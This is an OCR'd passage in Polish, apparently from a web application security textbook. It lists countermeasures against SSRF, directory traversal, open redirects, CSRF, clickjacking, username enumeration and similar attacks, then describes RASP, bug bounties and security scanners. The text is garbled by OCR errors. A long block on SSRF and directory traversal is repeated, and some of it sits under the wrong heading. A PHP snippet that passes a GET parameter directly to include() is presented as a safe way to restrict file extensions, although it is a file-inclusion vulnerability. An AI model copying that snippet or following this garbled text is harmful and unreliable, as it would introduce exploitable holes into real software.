o Utrzymywanie zabezpieczonych serwerdw kopii zapasowych do przechowywania plikéw dziennika w
ramach planu odzyskiwania kopii zapasowych.

o Korzystaj z ujednoliconych platform monitorowania i zarzadzania dziennikami, takich jak NLog i
OWASP AppSensor, z zaawansowanymi funkcjami, takimi jak ciggte monitorowanie wizualne i systemy
alarmowe.

o Zastosuj model synchronizacji czasu dla sieci, aby utrzymac zsynchronizowane rejestrowanie zdarzen
w analizie w czasie rzeczywistym.

o Analizuj podejrzane dziatania, takie jak dziwne zamykanie urzadzen, ponowne uruchamianie i
logowanie.

o Uwzglednij czesciowe lub prawie nieudane wywofania, takie jak btagd 403 Forbidden lub wszelkiego
rodzaju btedy sprawdzania poprawnosci danych wprowadzonych przez uzytkownika, do listy
kontrolnej podczas monitorowania dziennika.

o Wykorzystaj najnowsze technologie, takie jak monitorowanie logéw i wykrywanie nieprawidtowosci
z wykorzystaniem Al oraz IDS/IPS w celu poprawy monitorowania i zarzgdzania zdarzeniami w logach.

o Upewnij sie, ze wszystkie tworzone pliki dziennika muszg by¢ w formatach globalnych, aby utatwic
synchronizacje ze wszystkimi typami systemow zarzgdzania dziennikami.

0 Zabezpiecz pliki dziennika, szyfrujac je podczas transmisji, aby zapewnic¢ ochrone plikdw dziennika
przed atakami wstrzykiwania i MUM.

Ataki polegajace na fatszowaniu zadan po stronie serwera

o Wtacz uwierzytelnianie i oczyszczanie dla wszystkich danych po stronie klienta.

o Zezwol na schematy adreséw URL, takie jak https:// uzywane przez aplikacje i ogranicz nieuzywane.
o Upewnij sig, ze po stronie klienta nie jest wysytana surowa odpowiedz.

o Nie zezwalaj na przekierowanie HTTP.

o0 Zapewnienie stabilnosci adreséw URL w celu zapobiegania ponownemu wigzaniu DNS i czasu
sprawdzania do czasu

uzywaj atakéw (TOCTOU).
o Wdrozenie funkcji segregacji dostepu do zasobdéw zdalnych w odrebnych sieciach.

o0 Wtacz zasade ,,domysinej odmowy” lub zaimplementuj reguty kontroli dostepu, aby zablokowaé caty
ruch intranetowy z wytgczeniem ruchu podstawowego.

o Uzywaj VPN i innych technik szyfrowania w systemach frontendowych, aby zwiekszy¢
bezpieczenstwo.

o Wtacz biatg liste domen lub adresdéw, do ktérych aplikacja ma dostep.



o Zezwdl na dostep tylko do autoryzowanych rozszerzen plikbw poprzez state zakodowanie
dozwolonych rozszerzen. Oto przyktad:

<?php

include($S GET [ 1plik'] . ".html");

>

o Skonfiguruj systemy, aby rejestrowaty pewne zmiany na serwerze i sledzity daty zmian w plikach.

o Egzekwowanie zapory sieciowej nowej generacji (NGWAF) w celu zwiekszenia bezpieczenstwa przed
atakami SSRF.

Przechodzenie przez katalogi

Directory traversal umozliwia atakujgcym wykorzystanie protokotu HTTP, uzyskanie dostepu do
zastrzezonych katalogéow i wykonywanie polecen poza gtéwnym katalogiem serwera WWW.
Programisci muszg skonfigurowac aplikacje internetowe i ich serwery z odpowiednimi uprawnieniami
do plikéw i katalogéw, aby uniknac luk w zabezpieczeniach zwigzanych z przegladaniem katalogéw.

Oto niektére srodki zaradcze przeciwko atakom polegajgcym na przegladaniu katalogéw:
o Zdefiniuj prawa dostepu do chronionych obszaréw serwisu.

o Zastosuj kontrole/poprawki, ktore zapobiegajg wykorzystywaniu luk w zabezpieczeniach, takich jak
Unicode, ktore wptywajg na przegladanie katalogdw.

o Serwery internetowe powinny by¢ aktualizowane w odpowiednim czasie za pomocg poprawek
bezpieczenstwa.

o Sprawdz poprawnos¢ danych wprowadzonych przez uzytkownika przed przetworzeniem,
poréwnujac je z biatg listg i sprawdz, czy dane wejsciowe zawierajg wytgcznie znaki alfanumeryczne.

o Dotacz dane wejsciowe aplikacji do katalogu podstawowego i uzyj interfejsu API systemu plikdw
platformy, aby kanonizowac Sciezke.

o Korzystaj z zaawansowanego systemu zarzadzania trescig (CMS) do obstugi kilku dokumentdw.

o0 Przechowuj dokumenty na oddzielnym serwerze plikéw lub w chmurze, aby zapobiec mieszaniu
dokumentdéw publicznych i poufnych.

o Odpowiednio oczy$é nazwy plikdéw pochodzace z zgdan HTTP.

o Ogranicz nazwy plikdw do listy znanych dobrych znakéw i upewnij sie, ze wszelkie odniesienia do
plikdw uzywaja tylko tych znakdéw.

o Nie polegaj na danych wprowadzanych przez uzytkownika przy wywotywaniu interfejséw API
systemu plikéw,

o Przetwarzac zagdania URI, ktdre nie prowadzg do zagdan plikow,
o Uzyj wiezienia chroot dla systemdw opartych na Uniksie.
Niezweryfikowane przekierowania i przekierowania

Ogdlnie rzecz biorgc, aplikacje internetowe przekierowujg i przekierowuja uzytkownikéw na inne
strony i witryny internetowe. Dlatego jesli aplikacja internetowa nie sprawdza poprawnosci danych,



osoby atakujgce mogg przekierowac uzytkownikéw do ztosliwych witryn lub uzyé przekierowania w
celu uzyskania dostepu do nieautoryzowanych stron. Dlatego, aby zapobiec takim atakom, najlepiej
nie pozwalaé uzytkownikom na bezposrednie podawanie parametréw w celu przekierowania i
przekazania w logice aplikacji internetowej. Niektére srodki zaradcze przeciwko niezweryfikowanym
przekierowaniom i atakom typu forward sg nastepujgce:

Ataki polegajace na fatszowaniu zadan po stronie serwera

o Wtacz uwierzytelnianie i oczyszczanie dla wszystkich danych po stronie klienta.

0 Zezwdl na schematy adreséw URL, takie jak https:// uzywane przez aplikacje i ogranicz nieuzywane.
o Upewnij sig, ze po stronie klienta nie jest wysytana surowa odpowiedz.

o Nie zezwalaj na przekierowanie HTTP.

0 Zapewnienie stabilnosci adreséw URL w celu zapobiegania ponownemu wigzaniu DNS i czasu
sprawdzania do czasu

uzywaj atakéw (TOCTOU).
o Wdrozenie funkcji segregacji dostepu do zasobdéw zdalnych w odrebnych sieciach.

o0 Wtacz zasade ,,domysinej odmowy” lub zaimplementuj reguty kontroli dostepu, aby zablokowaé caty
ruch intranetowy z wytgczeniem ruchu podstawowego.

o Uzywaj VPN i innych technik szyfrowania w systemach frontendowych, aby zwiekszy¢
bezpieczenstwo.

0 Wiacz biatg liste domen lub adreséw, do ktdrych aplikacja ma dostep.

o Zezwodl na dostep tylko do autoryzowanych rozszerzen plikbw poprzez state zakodowanie
dozwolonych rozszerzen. Oto przyktad:

<?php

include($ GET [ 1plik'] . ".html'");

>

o Skonfiguruj systemy, aby rejestrowaty pewne zmiany na serwerze i sledzity daty zmian w plikach.

o Egzekwowanie zapory sieciowej nowej generacji (NGWAF) w celu zwiekszenia bezpieczeristwa przed
atakami SSRF.

Przechodzenie przez katalogi

Directory traversal umozliwia atakujgcym wykorzystanie protokotu HTTP, uzyskanie dostepu do
zastrzezonych katalogéw i wykonywanie poleced poza gtdwnym katalogiem serwera WWW.
Programisci muszg skonfigurowac aplikacje internetowe i ich serwery z odpowiednimi uprawnieniami
do plikéw i katalogéw, aby unikng¢ luk w zabezpieczeniach zwigzanych z przeglagdaniem katalogdw.

Oto niektére srodki zaradcze przeciwko atakom polegajgcym na przegladaniu katalogow:
o Zdefiniuj prawa dostepu do chronionych obszaréw serwisu.

o Zastosuj kontrole/poprawki, ktore zapobiegajg wykorzystywaniu luk w zabezpieczeniach, takich jak
Unicode, ktére wptywajg na przeglgdanie katalogéw.



o Serwery internetowe powinny by¢ aktualizowane w odpowiednim czasie za pomocg poprawek
bezpieczenstwa.

o Sprawdz poprawnos$¢ danych wprowadzonych przez uzytkownika przed przetworzeniem,
poréwnujac je z biata listg i sprawdz, czy dane wejsciowe zawierajg wytgcznie znaki alfanumeryczne.

o Dotacz dane wejsciowe aplikacji do katalogu podstawowego i uzyj interfejsu APl systemu plikédw
platformy, aby kanonizowac Sciezke.

o Korzystaj z zaawansowanego systemu zarzgdzania trescig (CMS) do obstugi kilku dokumentéw.

o Przechowuj dokumenty na oddzielnym serwerze plikéw lub w chmurze, aby zapobiec mieszaniu
dokumentdéw publicznych i poufnych.

o Odpowiednio oczy$¢ nazwy plikdw pochodzace z zgdan HTTP.

o Ogranicz nazwy plikdw do listy znanych dobrych znakéw i upewnij sie, ze wszelkie odniesienia do
plikdw uzywajg tylko tych znakéw.

o Nie polegaj na danych wprowadzanych przez uzytkownika przy wywotywaniu interfejséw API
systemu plikow,

o Przetwarzac zgdania URI, ktdre nie prowadzg do zgdan plikow,
o Uzyj wiezienia chroot dla systemdw opartych na Uniksie.
Niezweryfikowane przekierowania i przekierowania

Ogdlnie rzecz bioragc, aplikacje internetowe przekierowujg i przekierowujg uzytkownikdédw na inne
strony i witryny internetowe. Dlatego jesli aplikacja internetowa nie sprawdza poprawnosci danych,
osoby atakujgce mogg przekierowac uzytkownikéw do ztosliwych witryn lub uzyé przekierowania w
celu uzyskania dostepu do nieautoryzowanych stron. Dlatego, aby zapobiec takim atakom, najlepiej
nie pozwalaé uzytkownikom na bezposrednie podawanie parametréw w celu przekierowania i
przekazania w logice aplikacji internetowej. Niektdre $rodki zaradcze przeciwko niezweryfikowanym
przekierowaniom i atakom typu forward sg nastepujgce:

o Unikaj uzywania przekierowan i przekierowan.

o Jesli nie mozna unikngé¢ parametrow docelowych, nalezy upewni¢ sie, ze podana wartos¢ jest
prawidfowa i autoryzowana dla uzytkownika.

o Unikaj dopuszczania adresu URL jako danych wejsciowych uzytkownika dla miejsca docelowego i
sprawdzaj poprawnos¢ adresu URL.

o Oczys¢ dane wejsciowe, generujac liste zaufanych adreséw URL, ktéra zawiera liste hostéw lub
wyrazenie regularne.

o Zaimplementuj metaod$wiezanie na stronie, poniewaz moze uzywac zakodowanego na state kodu
HTML do automatycznego przekierowywania uzytkownikéw na inng strone.

o Zaimplementuj weryfikacje identyfikatora tokena do przekierowan stron internetowych,
o Zaimplementuj uzycie bezwzglednych i wzglednych adreséw URL podczas przekierowania.

o Przeszkoli¢ uzytkownikéw w zakresie identyfikacji ztosliwych witryn i typowych metod upychania
uzywanych przez osoby atakujace.



o0 Wtacz wyskakujace strony powiadomien podczas przekierowywania uzytkownikdw na nowg strone
internetowa.

o Usun wyszukiwarki ze skryptéw przekierowan, aby zapobiec naktanianiu uzytkownikéw do klikania
niebezpiecznych faczy w wynikach wyszukiwania.

0 Zastosuj wewnetrzne przekierowania, aby umozliwi¢ minimalne filtrowanie w celu ograniczenia
przekierowan do lokalnej subdomeny.

Atak na wodopoje

o Regularnie stosuj tatki oprogramowania w celu usuniecia wszelkich luk w zabezpieczeniach,

o Monitoruj ruch sieciowy.

0 Zabezpiecz serwer DNS, aby uniemozliwié atakujacym przekierowanie witryny do nowej lokalizacji.
o Analizuj zachowanie uzytkownikéw.

o Sprawdz popularne strony internetowe.

o Uzywaj wtyczek do przeglgdarek, ktére blokujg przekierowania HTTP.

o Wytacz tresci osob trzecich, takie jak ustugi reklamowe, ktére sledzg dziatania uzytkownikow.

o Pamietaj o ukryciu dziatan online za pomocg VPN i wigczeniu funkcji przegladania prywatnego w
przegladarce.

o Upewnij sie, ze przegladarka internetowa dziata w Srodowisku wirtualnym, aby ograniczy¢ dostep do
systemu lokalnego.

o Uzyj filtréw internetowych do wykrywania atakéw na strony internetowe i uniemozliwienia
przeglgdarkom dostepu do zainfekowanych stron.

o Ogranicz uzytkownikom mozliwos$¢ udzielania dodatkowych uprawnien stronom internetowym.

0 Zastosuj rozwigzanie poczty e-mail, ktére moze zastosowaé podobng dynamiczng analize ztosliwego
oprogramowania w celu ochrony przed ukierunkowanymi putapkami poczty e-mail.

o Korzystaj z mikrowirtualizacji, ktérg trudno omingc.
Fatszowanie zadan miedzy witrynami

Za pomocg ataku CSRF napastnicy naktaniajg przegladarke uzytkownika do wystania fatszywego
zadania HTTP, w tym pliku cookie sesji uzytkownika i innych informacji uwierzytelniajacych, do legalne;j
(wrazliwej) aplikacji internetowej w celu wykonania ztosliwych dziatan. Oto niektére srodki zaradcze
przeciwko atakom polegajgcym na fatszowaniu zgdan miedzy witrynami:

o Wyloguj sie natychmiast po skorzystaniu z aplikacji internetowej i wyczys¢ historie,
o Nie zezwalaj swojej przegladarce i stronie internetowej na zapisywanie danych logowania.
o Sprawdz nagtéwek HTTP Referrer i podczas przetwarzania POST ignoruj parametry adresu URL.

o Uzyj nagtéwkoéw odsytaczy, takich jak flaga HttpOnly, ktéra wysyta niestandardowy nagtéwek X-
Requested-With za pomoca jQuery.



o Uzywaj tokendéw CSRF, takich jak tokeny jednorazowe, ktére sg przesytane za posrednictwem
ukrytego pola formularza, aby unikng¢ nielegalnego dostepu.

o Korzystaj z platform bezpieczenstwa, takich jak Joomla, Spring, Struts, Ruby on Rails i .NET, ktére
majg wbudowane funkcje zabezpieczajgce przed CSRF.

o Utrzymuj strategie przypisywania tokenéw na zadanie, zamiast przydzielania tokendw na sesje.
Zatrucie ciasteczkiem/sesja

Przegladarki uzywajg plikdw cookie do utrzymania stanu sesji. Zawierajg rowniez wrazliwe dane
specyficzne dla sesji (np. identyfikatory uzytkownikéw, hasta, numery kont, linki do zawartosci koszyka,
dostarczone informacje prywatne i identyfikatory sesji). Atakujacy angazujg sie w zatruwanie plikow
cookie/sesji, modyfikujgc dane w pliku cookie, aby uzyskaé eskalowany dostep lub ztosliwie wptyngé
na sesje uzytkownika. Deweloperzy muszg zatem przestrzegac bezpiecznych praktyk kodowania, aby
zabezpieczy(¢ aplikacje internetowe przed takimi zatruwajgcymi atakami. Muszg uzywac odpowiednich
mechanizmodw generowania tokenow sesji, aby wystawiac¢ losowe identyfikatory sesji. Niektére srodki
zaradcze przeciwko atakom zatruwania plikéw cookie/sesji sg nastepujgce:

o Nie przechowuj w plikach cookie haset w postaci zwyktego tekstu lub stabo zaszyfrowanych,
o Zaimplementuj limit czasu plikow cookie.

o Dane uwierzytelniajgce kazdego pliku cookie powinny by¢ powigzane z adresem IP.

o Udostepnij funkcje wylogowania.

o Zweryfikuj wszystkie wartosci plikdw cookie, aby upewnié sie, ze sg dobrze sformutowane i
poprawne.

o Uzywaj oprogramowania skanujgcego w poszukiwaniu wirusow i ztosliwego oprogramowania, aby
chroni¢ przegladarke przed ztosliwymi skryptami przechwytujgcymi pliki cookie.

o Regularnie usuwaj zapisane pliki cookie z przegladarki.

o Stosowac losowe przetwarzanie plikéw cookie w celu zmiany strony internetowej lub pliku cookie
ustugi za kazdym razem, gdy uzytkownik zgtosi zgdanie.

o Korzystaj z sieci VPN, ktéra wykorzystuje zaawansowane szyfrowanie i routing ruchu, aby zapobiec
podstuchiwaniu sesji.

o Ogranicz uniwersalne pliki cookie, aby zapewni¢ przypisanie pojedynczego zadania do pojedynczego
pliku cookie.

o Zapewni¢, aby komunikacja FITTPS byta wykorzystywana do zabezpieczenia przeptywu informaciji,

o umozliwienia synchronicznego zarzadzania sesjg w celu zwiekszenia bezpieczeristwa plikdw cookies,
o Unikaj uzywania generatorow do tworzenia identyfikatoréw sesji.

Atak na serwis internetowy

Korzystaj z wielowarstwowe] ochrony i standardowych technik uwierzytelniania FITTP, aby bronic¢ sie
przed atakami na ustugi sieciowe. Poniewaz wiekszo$s¢ modeli obejmuje aplikacje typu business-to-
business, tatwiej jest ograniczy¢ dostep tylko do waznych uzytkownikéw.

Niektore dodatkowe srodki zaradcze przeciwko atakom na ustugi sieciowe sg nastepujgce:



o Skonfiguruj uprawnienia kontroli dostepu WSDL, aby udzieli¢ lub odméwié dostepu do dowolnego
typu komunikatéw SOAP opartych na WSDL.

o Uzywaj poswiadczen uwierzytelniania skoncentrowanych na dokumentach, ktére uzywajg SAML.
o Uzywaj wielu poswiadczen bezpieczenstwa, takich jak X.509 Cert, asercje SAML i WSSecurity.

o0 Wdréz zapory obstugujgce ustugi sieciowe, ktére mogg wykonywac filtrowanie na poziomie SOAP i
ISAPI.

o Skonfiguruj zapory sieciowe/systemy IDS do wykrywania anomalii i sygnatur dla ustug sieciowych.
o Skonfiguruj zapory ogniowe/systemy IDS do filtrowania niewtasciwej sktadni SOAP i XML,
o Implementacja scentralizowanych zgdan in-line i walidacji schematu odpowiedzi,

o Blokuj odnosniki zewnetrzne i uzywaj wstepnie pobranych tresci podczas usuwania odnosnikéw do
adresow URL,

o Utrzymanie i aktualizacja bezpiecznego repozytorium schematéw XML.

o Uzywaj skrotow haset/biletow Kerberos/certyfikatow X.509 w nagtéwkach SOAP do
uwierzytelniania.

o Uzyj podpisu cyfrowego do podpisywania wiadomosci po stronie odbiorcy i zachowaj integralnos¢
wiadomosci.

o Uzyj autoryzacji adresu URL, aby ograniczy¢ dostep do pliku ustugi sieciowej (.asmx).
o Autoryzuj dostep do plikéw WSDL za pomocg uprawnien NTFS.
o Wytacz protokoty dokumentacji, aby zapobiec dynamicznemu generowaniu WSDL.

o Sprawdz punkt koncowy wywotujgcego w komunikacie SOAP przed okresleniem, czy komunikat
SOAP jest przetwarzany przez silnik BPEL.

o Wytacz pole Akcja SOAP, takie jak createUser lub deleteUser w zgdaniu HTTP,
o Unikaj uzywania tatwej do odgadniecia terminologii SOAP Action,

o Wytacz atrybut SOAPAction, gdy nie jest uzywany.

o Poréwnaj operacje w ramach SOAPAction i tresci SOAP.

o Catkowicie wytgcz WS-Addressing. Jesli adresowanie WS jest $cisle wymagane, utworz biatg liste
dozwolonych adresow.

o Uzyj proxy XML, aby ukry¢ wewnetrzne informacje konfiguracyjne, ktére mogg zosta¢ ujawnione
przez ustugi sieciowe.

0 Zaimplementuj XSLT, aby umozliwié translacje adreséw XML w celu konwersji wychodzgcych
wiadomosci XML.

o Uzywaj TLS do zabezpieczania komunikacji SOAP i stosuj to samo kodowanie dla klienta i serwer.
o Upewnij sie, ze ustugi sieciowe sg zgodne ze standardem Web Services Interoperability (WS-I).

Atak typu clickjacking



o Uzyj metody po stronie serwera, takiej jak nagtdwek X-Frame-Options i uzyj jego opcji DENY,
SAMEORIGIN i ALLOW-FROM URI, aby zapobiec ramkowaniu witryny poza domena.

o Nigdy nie uzywaj metod po stronie klienta, takich jak Framebusting lub Framebreaking, poniewaz
mozna je tatwo omingc.

0 Zamaskuj dokument FiTML i ujawnij go dopiero po sprawdzeniu, czy strona nie jest w ramce.

o Uzyj nagtéwka HTTP Content-Security-Policy (CSP), poniewaz zapewnia on znaczng elastycznos¢
definiowania zrédet w ztozonych wdrozeniach.

o Uzyj atrybutu pliku cookie SameSite, aby uniemozliwi¢ uwzglednienie plikdbw cookie sesji, gdy strona
internetowa jest tadowana w ramce.

o Czesto uruchamiaj internetowy skaner podatnosci na ataki, aby wykrywac i usuwaé luki w
zabezpieczeniach zwigzane z przechwytywaniem klikniec.

o Wykorzystaj AuthO, poniewaz chroni on swojg uniwersalng strone logowania przed atakami typu
,clickjacking”, wysytajgc zarowno X-Frame-Options, jak i nagtéwki CSP.

0 Zastosuj program obronny Ul, aby potwierdzié, ze biezgca ramka jest oknem najwyzszego poziomu.
o Uzyj ochrony window.confirm ( ), ktéra informuje uzytkownikow o akcji, ktérg wykonaja.

Przejecie JavaScriptu

o Uzyj .innerText zamiast .innerHTML w JavaScript do automatycznego kodowania tekstu.

o Unikaj uzywania funkcji ewaluacyjnej ze wzgledu na jej wrazliwg nature.

o Nie pisz kodu serializacji.

o Uzyj biblioteki kodowania, aby zabezpieczy¢ atrybuty i elementy danych oraz unikng¢ dynamicznego
budowania XML.

o Uzywaj protokotu SSL/TLS do bezpiecznej komunikacji i przeprowadzaj szyfrowanie na serwerze
zamiast kodu po stronie klienta.

o Twérz XML przy uzyciu odpowiednich ram; unikaj recznego budowania XML.

o Upewnij sie, ze zwracasz JSON z obiektem zewnetrznym, takim jak {"result": [{"object":" inside
array"}}.

o Utrzymuj prawidtowe i unikalne adresy URL dla kazdej sesji, ktéra odzyskuje obiekty JSON.
o Upewnij sie, ze zadne poufne dane z serwera nie sg przesytane do klienta za pomocg obiektéw JSON.

0 Zastosuj monitorowanie JavaScript oparte na Al dla wszystkich trwajgcych sesji, aby wykrywaé
niepozadane dziatania i ztosliwe wzorce.

o Utrzymuj odpowiedni, oparty na drzewie cykl zycia bibliotek JavaScript, aby przeprowadzac¢ dogtebng
analize w celu wykrycia ewentualnych modyfikacji.

o Wtacz funkcje integracji zasobéw podrzednych, aby wykry¢ wszelkie modyfikacje kodu JavaScript.

o Uzyj analizatoréow JavaScript do analizy kodu w aplikacjach po stronie klienta pod katem luk w
zabezpieczeniach lub bteddéw.



Wyliczanie nazwy uzytkownika

o Upewnij sie, ze dane wejsciowe, ktdre zawierajg identyfikatory uzytkownika, generujg dane
wyjsciowe zawierajgce tylko ogdlne komunikaty o btedach.

o Uzywaj losowo generowanych danych dla nazw uzytkownikéw zamiast kolejnych numeréw.

o Stosowal odpowiednie zabezpieczenia przed atakami typu SQL injection i XSS, aby zapobiec
wyliczaniu uzytkownikéw, ktére mozna zrzucic.

0 Zawsze stosuj CAPTCHA do wszystkich stron akceptujgcych dane wejsciowe, aby zapobiec
automatycznemu gromadzeniu danych.

o Uzyj WAF do wykrywania i blokowania wszystkich indywidualnych adreséw IP, ktdre prdbujg
wykonac kilka zadan.

0 Zastosuj uwierzytelnianie dwusktadnikowe (2FA) lub techniki uzupetniania czasu odpowiedzi, aby
zapobiec wyliczaniu nazw uzytkownikdéw.

o Uzywaj losowych i ztozonych nazw uzytkownikéw podczas tworzenia listy nazw uzytkownikéw Active
Directory.

o Zawsze uzywaj tylko skomplikowanych i trudnych do odgadniecia haset oraz zmieniaj domysine
nazwy uzytkownika i hasta.

o Wzmocnij wszystkie ustugi, aby unikng¢ ustanowienia zerowego wigzania i uniemozliwi¢ zdalne
uwierzytelnianie roota.

o Unikaj informowania uzytkownikéw, ze dana nazwa uzytkownika zostata juz zarejestrowana w
serwisie.

o Upewnij sie, ze nazwy uzytkownika na stronie ,Zapomniatem hasta” sg ukryte.

o Zaimplementuj ograniczenie szybkosci, aby zapobiec atakom polegajgcym na wyliczaniu nazwy
uzytkownika, ktére mogg blokowac¢ zgdania z okreslonego adresu IP po trzech nieudanych prébach
logowania.

o Zastosuj ograniczenia geograficzne, aby zebra¢ lokalizacje uzytkownika podczas rejestracji i
zweryfikowac préby logowania.

0 Zwracaj te samg odpowiedz w przypadku nieudanych préb logowania, aby zapobiec wyliczaniu nazwy
uzytkownika, np. ,,Nazwa uzytkownika lub hasto sg nieprawidtowe”.

Atak na mechanizm resetowania hasta

o Wykonaj odpowiednig walidacje kombinacji losowego tokena i fagcza e-mail przed wykonaniem
zadania.

o Upewnij sie, ze wszystkie adresy URL resetowania hasta sg uzywane tylko raz i ustaw limit czasu
wygasniecia.

o Unikaj zautomatyzowanych zgdan za posrednictwem programéw i egzekwuj kontrole wykonywane
przez ludzi za pomocg CAPTCHA.

o Ogranicz liczbe zgdan generowanych z dowolnego adresu IP lub urzadzenia w okreslonym czasie.



o Uzywaj zaawansowanych technik uwierzytelniania wielosktadnikowego (MFA), aby zapobiegac
przejeciu konta za pomocg tokendw resetowania hasta.

o Upewnij sie, ze adresy URL do resetowania hasta uzywajg protokotu HTTPS.

o Wyslij tymczasowe hasto za posrednictwem zarejestrowanego adresu e-mail, zamiast bezposrednio
resetowac hasto.

Ataki na te sama strone

o Zaimplementuj zawieszone rekordy domen jako mechanizm sprawdzania poprawnosci.
o Wtacz proces weryfikacji i walidacji btednej konfiguracji DNS.

o Nalezycie aktualizowac rekordy DNS na odpowiednim serwerze DNS.

o Poinformuj uzytkownikéw o weryfikacji wpisu DNS CNAME i jej skutkach.

Jak bronic¢ sie przed atakami aplikacji internetowych

Aby broni¢ sie przed atakami aplikacji internetowych, mozesz zastosowac $rodki zaradcze podane
wczesniej. Aby chronié¢ serwer WWW, mozesz uzy¢ zapory WAF/IDS i filtrowaé pakiety. Nalezy rowniez
regularnie aktualizowa¢ oprogramowanie serwera za pomocy tat, aby chroni¢ go przed atakami.
Oczyszczaj i filtruj dane wprowadzane przez uzytkownika, analizuj kod Zrédtowy pod katem iniekcji SQL
i minimalizuj uzycie aplikacji innych firm w celu ochrony aplikacji internetowych. Procedur
sktadowanych i zapytan parametrycznych mozna réwniez uzywac do pobierania danych i wytgczania
petnych komunikatéw o btedach, ktére mogg dostarczy¢ atakujgcym przydatnych informacji. Uzyj
niestandardowych stron btedéw, aby chroni¢ aplikacje internetowe. Aby unikng¢ wstrzykniecia kodu
SQL do bazy danych, potacz sie przy uzyciu konta bez uprawnien i nadaj najmniejsze uprawnienia do
bazy danych, tabel i kolumn. Wytgcz polecenia, takie jak xp_cmdshell, ktére mogg wptywac na system
operacyjny.

RASP do ochrony serwerow WWW

Runtime Application Self Protection (RASP) to technologia zapewniajgca bezpieczenstwo aplikacjom
dziatajgcym na serwerze. RASP moze by¢ uzywany do wykrywania atakéw w czasie rzeczywistym na
warstwe aplikacji oprogramowania w czasie rzeczywistym i moze zapewnic lepszg widocznos$é ukrytych
luk w zabezpieczeniach. RASP moze wykry¢ kazdg ztosliwg aktywnos¢ w ruchu przychodzacym, a takze
weryfikowaé zgdania danych. RASP chroni zaréwno aplikacje internetowe, jak i inne, i moze by¢
uzywany do zapobiegania wykonywaniu fatszywych programéw wewnatrz aplikacji. RASP prowadzi
ciggte monitorowanie, aby poméc w naprawie atakéw, takich jak nieznane ataki dnia zerowego, na
wczesnym etapie bez interwencji cztowieka. Warstwa RASP jest umieszczona w kodzie aplikacji.
Wdraza sie, monitorujgc ruch przychodzacy do serwera i stosuje mechanizmy ochrony w przypadku
wykrycia wektoréw zagrozen. Wszystkie zgdania sg rozpatrywane przez warstwe RASP obecng miedzy
serwerem a aplikacja bez wptywu na wydajno$é aplikacji. Ponadto RASP moze generowad
zminimalizowane fatszywe alarmy.

Korzysci z uzywania RASP

Widocznos¢: RASP zapewnia lepszg widocznos$é i pozwala uzytkownikowi na szczegétowy widok
aplikacji w celu monitorowania atakow



Wspotpraca i DevOps: zapewnia lepszg wspotprace i DevOps, poniewaz zapewnia przejrzystosé, ktora
moze dostarczyé podobnych i szczegdtowych informacji zaréwno specjalistom ds. bezpieczerdstwa, jak
i programistom

Testy penetracyjne: zwiekszona widoczno$é RASP pomaga unikngé duplikatéw testéw. Dostarcza
réwniez informacji o udanych atakach i wczesniej przetestowanych aplikacjach

Reakcja na incydent: RASP obstuguje reagowanie na incydenty w celu ufatwienia rejestrowania w celu
zapewnienia bezpieczenstwa i zgodnosci, umozliwiajgc uzytkownikowi zgtaszanie niestandardowych
zdarzen bez modyfikowania aplikacji

Programy Bug Bounty

Program bug bounty to wyzwanie lub umowa organizowana przez organizacje, strony internetowe lub
twércow oprogramowania dla oséb obeznanych z technologig lub etycznych hakerdow, ktorzy
uczestniczg i wtamuja sie do ich zabezpieczen, aby zgtasza¢ najnowsze btedy i luki w zabezpieczeniach.
Ten program koncentruje sie na identyfikowaniu najnowszych luk bezpieczerstwa w oprogramowaniu
lub dowolnej aplikacji internetowej, ktérych wiekszosé programistow bezpieczeristwa nie wykrywa i
ktére moga stanowié duze zagrozenie. Dlatego osoby lub etyczni hakerzy, ktérzy zgtaszajg luki w
zabezpieczeniach, sg odpowiednio nagradzani na podstawie wagi btedéw. W ten sposob kazde
zagrozenie lub wada, ktére omijajg programiste, mogg zosta¢ ztagodzone, zanim utorujg droge do
wyrafinowanych cyberatakdéw. Wielu hakeréw w biatych kapeluszach uczestniczy w tym programie w
ramach kompleksowych ram ujawniania luk w zabezpieczeniach i jest nagradzanych za swojg prace.
Wiele organizacji korzysta z takich programdéw, poniewaz muszg uwaznie obserwowadé bezpieczeristwo
swoich systemodw i identyfikowaé ignorowane luki w zabezpieczeniach. Wiekszo$¢ najnowszych
btedéw, ktdre nie zostaty wykryte przez starsze techniki testowania zabezpieczen i narzedzia
programowe, moze zosta¢ wykorzystana, co skutkuje powazng utratg danych. Takie programy moga
rowniez pomdc organizacjom unikngé utraty pieniedzy i reputacji w przypadku naruszenia danych,
poniewaz oferowanie nagréd w ramach programu bug bounty jest bardziej ekonomiczne. Dlatego
wiekszos¢ duzych firm uzywa tego programu do wzmacniania swoich zabezpieczen, co z kolei poprawia
strony internetowe i programy.

Narzedzia do testowania bezpieczenstwa aplikacji internetowych

Dostepne sg rdzne narzedzia do oceny bezpieczenstwa aplikacji internetowych do skanowania,
wykrywania i oceny stabych punktéw/bezpieczenstwa aplikacji internetowych. Te narzedzia ujawniaja
ich stan bezpieczenstwa; mozesz ich uzyé, aby znaleZé sposoby na wzmocnienie zabezpieczen i
tworzenie niezawodnych aplikacji internetowych. Ponadto narzedzia te automatyzujg proces
doktadnej oceny bezpieczenstwa aplikacji internetowych.

Skaner luk w zabezpieczeniach Acunetix

Acunetix WVS sprawdza aplikacje internetowe pod katem iniekcji SQL, cross-site scriptingu itp. Zawiera
zaawansowane narzedzia do testowania penetracji, takie jak HTTP Editor i HTTP Fuzzer. Skanuje porty
serwera WWW i przeprowadza kontrole bezpieczeristwa ustug sieciowych. Testuje réwniez formularze
internetowe i obszary chronione hastem. Ponadto zapewnia skuteczne zarzadzanie lukami w
zabezpieczeniach, umozliwiajgc sledzenie probleméw innych firm, takich jak lJira, GitLab, GitHub i
FogBugz.

Skaner bezpieczenstwa aplikacji internetowej N-Stalker



N-Stalker Web App Security Scanner sprawdza luki w zabezpieczeniach, takie jak iniekcja SQL, XSS i
inne znane ataki. Jest to przydatne narzedzie bezpieczedstwa dla programistéw, administratoréw
systemu/bezpieczenstwa, audytoréw IT i personelu, poniewaz zawiera dobrze znany ,N-Stealth http
Security Scanner” i jego baze danych zawierajgcg 39 000 sygnatur atakdw internetowych wraz z
zorientowang na komponenty strong internetowg technologia oceny bezpieczenstwa aplikacji.

Struktura wykorzystania przegladarki (BeEF)

Browser Exploitation Framework (BeEF) to narzedzie do testowania penetracji typu open source, ktore
stuzy do testowania i wykorzystywania aplikacji internetowych oraz luk w zabezpieczeniach
przegladarki. Zapewnia testerowi penetracji praktyczne wektory atakéw po stronie klienta i
wykorzystuje luki w aplikacjach internetowych i przegladarkach do oceny bezpieczenistwa celu i
przeprowadzania dalszych wtaman.

